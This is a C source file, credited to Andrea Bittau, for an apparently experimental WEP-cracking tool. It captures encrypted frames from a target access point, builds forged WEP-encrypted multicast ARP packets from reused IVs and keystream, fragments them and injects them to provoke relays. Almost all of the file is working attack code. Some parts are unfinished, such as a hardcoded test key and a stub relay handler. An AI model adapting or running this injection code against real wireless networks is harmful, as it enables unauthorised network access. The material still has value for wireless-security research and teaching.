1 /*- 2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk> 3 * All rights reserved. 4 * 5 * Redistribution and use in source and binary forms, with or without 6 * modification, are permitted provided that the following conditions 7 * are met: 8 * 1. Redistributions of source code must retain the above copyright 9 * notice, this list of conditions and the following disclaimer. 10 * 2. Redistributions in binary form must reproduce the above copyright 11 * notice, this list of conditions and the following disclaimer in the 12 * documentation and/or other materials provided with the distribution. 13 * 14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 24 * SUCH DAMAGE. 25 */ 26 #include <sys/time.h> 27 #include <sys/types.h> 28 #include <sys/socket.h> 29 #include <sys/uio.h> 30 #include <netinet/in.h> 31 #include <arpa/inet.h> 32 #include <netinet/in_systm.h> 33 #include <netinet/ip.h> 34 #include <string.h> 35 #include <stdio.h> 36 #include <stdlib.h> 37 #include <unistd.h> 38 #include <fcntl.h> 39 #include <err.h> 40 #include <assert.h> 41 #include <zlib.h> 42 #include "w00t.h" 43 44 enum { 45 S_START = 0, 46 S_WAIT_RELAY, 47 }; 48 49 struct queue { 50 struct ieee80211_frame *wh; 51 int len; 52 53 char *buf; 54 int live; 55 struct queue *next; 56 }; 57 58 struct params { 59 int rx; 60 int tx; 61 62 int tap; 63 64 char mcast[5]; 65 char mac[6]; 66 char ap[6]; 67 68 char prga[2048]; 69 int prga_len; 70 71 int state; 72 73 struct queue *q; 74 75 char packet[2048]; 76 int packet_len; 77 struct timeval last; 78 79 int seq; 80 81 unsigned char guess; 82 }; 83 84 int wanted(struct params *p, struct ieee80211_frame *wh, int len) 85 { 86 char *bssid, *sa; 87 88 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { 89 bssid = wh->i_addr1; 90 sa = wh->i_addr2; 91 } 92 else { 93 bssid = wh->i_addr2; 94 sa = wh->i_addr3; 95 } 96 97 if (memcmp(bssid, p->ap, 6) != 0) 98 return 0; 99 100 if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) { 101 printf("Got non WEP packet...\n"); 102 return 0; 103 } 104 105 /* my own shit */ 106 if (memcmp(p->mac, sa, 6) == 0) 107 return 0; 108 109 return 1; 110 } 111 112 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len) 113 { 114 struct queue *q = p->q; 115 int qlen = 0; 116 char *ret = NULL; 117 struct queue *last = NULL; 118 119 /* find a slot */ 120 while (q) { 121 if (q->live) 122 qlen++; 123 else { 124 /* recycle */ 125 ret = q->buf; 126 break; 127 } 128 129 last = q; 130 q = q->next; 131 } 132 133 /* need to create slot */ 134 if (!q) { 135 q = (struct queue*) malloc(sizeof(*q)); 136 if (!q) 137 err(1, "malloc()"); 138 memset(q, 0, sizeof(*q)); 139 140 /* insert */ 141 if (!p->q) 142 p->q = q; 143 else { 144 assert(last); 145 last->next = q; 146 } 147 } 148 149 q->live = 1; 150 q->buf = *buf; 151 q->len = len; 152 q->wh = wh; 153 154 qlen++; 155 156 if (qlen > 5) 157 printf("Enque. Size: %d\n", qlen); 158 *buf = ret; 159 } 160 161 void send_packet(struct params *p) 162 { 163 int rc; 164 165 rc = inject(p->tx, p->packet, p->packet_len); 166 if (rc == -1) 167 err(1, "inject()"); 168 if (rc != p->packet_len) { 169 printf("Wrote %d/%d\n", rc, p->packet_len); 170 exit(1); 171 } 172 173 if (gettimeofday(&p->last, NULL) == -1) 174 err(1, "gettimeofday()"); 175 } 176 #include <openssl/rc4.h> 177 void send_mcast(struct params *p, unsigned char x) 178 { 179 struct ieee80211_frame *wh; 180 short *seq; 181 struct queue *q = p->q; 182 char *data, *ptr; 183 int len; 184 uLong crc = crc32(0L, Z_NULL, 0); 185 uLong *pcrc; 186 int i; 187 int need_frag = 0; 188 char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00"; 189 190 assert(q); 191 192 /* 802.11 */ 193 memset(p->packet, 0, sizeof(p->packet)); 194 wh = (struct ieee80211_frame*) p->packet; 195 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 196 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; 197 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; 198 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED; 199 200 wh->i_dur[0] = 0x69; 201 202 memcpy(wh->i_addr1, p->ap, 6); 203 memcpy(wh->i_addr2, p->mac, 6); 204 memcpy(wh->i_addr3, p->mcast, 5); 205 wh->i_addr3[5] = x; 206 207 seq = (short*) wh->i_seq; 208 *seq = seqfn(p->seq++, 0); 209 210 /* IV */ 211 data = (char*) (wh+1); 212 ptr = (char*) (q->wh+1); 213 memcpy(data, ptr, 3); 214 215 if (p->prga_len == 0) { 216 217 RC4_KEY k; 218 unsigned char key[8]; 219 220 memset(&key[3], 0x61, 5); 221 memcpy(key, (q->wh+1), 3); 222 p->prga_len = 128; 223 224 RC4_set_key(&k, 8, key); 225 memset(p->prga, 0, sizeof(p->prga)); 226 RC4(&k, p->prga_len, p->prga, p->prga); 227 228 229 #if 0 230 int ptl = q->len; 231 char *pt; 232 233 pt = known_pt(q->wh, &ptl); 234 ptr += 4; 235 p->prga_len = ptl; 236 for (i = 0; i < p->prga_len; i++) 237 p->prga[i] = ptr[i] ^ pt[i]; 238 #endif 239 } 240 241 /* data */ 242 data += 4; 243 memcpy(data, payload, sizeof(payload)); 244 p->prga_len = 12; 245 len = p->prga_len + 1 - 4; 246 247 #if 1 248 if (len < sizeof(payload)) { 249 need_frag = len; 250 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; 251 } 252 #endif 253 254 /* crc */ 255 pcrc = (uLong*) (data+len); 256 *pcrc = crc32(crc, data, len); 257 258 /* wepify */ 259 len += 4; 260 for (i = 0; i < (len); i++) { 261 assert( i <= p->prga_len); 262 data[i] ^= p->prga[i]; 263 } 264 // data[i] ^= x; 265 266 len += sizeof(*wh); 267 p->packet_len = len + 4; 268 send_packet(p); 269 270 /* the data we sent is too fucking short */ 271 if (need_frag) { 272 memset(data, 0, len); 273 274 /* 802.11 */ 275 *seq = seqfn(p->seq-1, 1); 276 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; 277 278 /* data */ 279 len = sizeof(payload) - need_frag; 280 assert(len > 0 && len <= (p->prga_len - 4)); 281 memcpy(data, &payload[need_frag], len); 282 283 /* crc */ 284 crc = crc32(0L, Z_NULL, 0); 285 len = p->prga_len - 4; 286 pcrc = (uLong*) (data+len); 287 *pcrc = crc32(crc, data, len); 288 289 /* wepify */ 290 len += 4; 291 for (i = 0; i < len; i++) { 292 assert( i < p->prga_len); 293 data[i] ^= p->prga[i]; 294 } 295 296 len += sizeof(*wh) + 4; 297 p->packet_len = len; 298 send_packet(p); 299 } 300 } 301 302 void send_queue(struct params *p) 303 { 304 struct queue *q = p->q; 305 int i; 306 307 assert(q); 308 assert(q->live); 309 310 for (i = 0; i < 5; i++) { 311 send_mcast(p, p->guess++); 312 } 313 314 p->state = S_WAIT_RELAY; 315 } 316 317 void got_mcast(struct params *p, struct ieee80211_frame *wh, int len) 318 { 319 printf("ao\n"); 320 } 321 322 void read_wifi(struct params *p) 323 { 324 static char *buf = 0; 325 static int buflen = 4096; 326 struct ieee80211_frame *wh; 327 int rc; 328 329 if (!buf) { 330 buf = (char*) malloc(buflen); 331 if (!buf) 332 err(1, "malloc()"); 333 } 334 335 rc = sniff(p->rx, buf, buflen); 336 if (rc == -1) 337 err(1, "sniff()"); 338 339 wh = get_wifi(buf, &rc); 340 if (!wh) 341 return; 342 343 /* relayed macast */ 344 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA, 345 IEEE80211_FC0_SUBTYPE_DATA) && 346 (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && 347 (memcmp(wh->i_addr2, p->ap, 6) == 0) && 348 (memcmp(wh->i_addr1, p->mcast, 5) == 0) && 349 (memcmp(p->mac, wh->i_addr3, 6) == 0)) { 350 got_mcast(p, wh, rc); 351 return; 352 } 353 354 /* data */ 355 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA, 356 IEEE80211_FC0_SUBTYPE_DATA)) { 357 if (!wanted(p, wh, rc)) 358 return; 359 360 enque(p, &buf, wh, rc); 361 if (p->state == S_START) 362 send_queue(p); 363 return; 364 } 365 } 366 367 void own(struct params *p) 368 { 369 struct timeval tv; 370 struct timeval *to = NULL; 371 fd_set fds; 372 int tout = 10*1000; 373 374 if (p->state == S_WAIT_RELAY) { 375 int el; 376 377 /* check timeout */ 378 if (gettimeofday(&tv, NULL) == -1) 379 err(1, "gettimeofday()"); 380 381 el = elapsed(&p->last, &tv); 382 383 /* timeout */ 384 if (el >= tout) { 385 if (p->q && p->q->live) { 386 send_queue(p); 387 el = 0; 388 } else { 389 p->state = S_START; 390 return; 391 } 392 } 393 el = tout - el; 394 tv.tv_sec = el/1000/1000; 395 tv.tv_usec = el - tv.tv_sec*1000*1000; 396 to = &tv; 397 } 398 399 FD_ZERO(&fds); 400 FD_SET(p->rx, &fds); 401 402 if (select(p->rx+1, &fds, NULL, NULL, to) == -1) 403 err(1, "select()"); 404 405 if (FD_ISSET(p->rx, &fds)) 406 read_wifi(p); 407 } 408 409 void usage(char *name) 410 { 411 printf("Usage %s <opts>\n" 412 "-h\thelp\n" 413 "-b\t<bssid>\n" 414 "-t\t<tap>\n" 415 , name); 416 exit(1); 417 } 418 419 int main(int argc, char *argv[]) 420 { 421 struct params p; 422 char *iface = "wlan0"; 423 char *tap = "tap0"; 424 int ch; 425 426 memset(&p, 0, sizeof(p)); 427 memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6); 428 p.seq = getpid(); 429 memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5); 430 431 while ((ch = getopt(argc, argv, "hb:t:")) != -1) { 432 switch (ch) { 433 case 't': 434 tap = optarg; 435 break; 436 437 case 'b': 438 if (str2mac(p.ap, optarg) == -1) { 439 printf("Can't parse BSSID\n"); 440 exit(1); 441 } 442 break; 443 444 case 'h': 445 default: 446 usage(argv[0]); 447 break; 448 } 449 } 450 451 if ((p.rx = open_rx(iface)) == -1) 452 err(1, "open_rx()"); 453 if ((p.tx = open_tx(iface)) == -1) 454 err(1, "open_tx()"); 455 456 if ((p.tap = open_tap(tap)) == -1) 457 err(1, "open_tap()"); 458 if (set_iface_mac(tap, p.mac) == -1) 459 err(1, "set_iface_mac()"); 460 461 p.state = S_START; 462 while (1) 463 own(&p); 464 465 exit(0); 466 } 467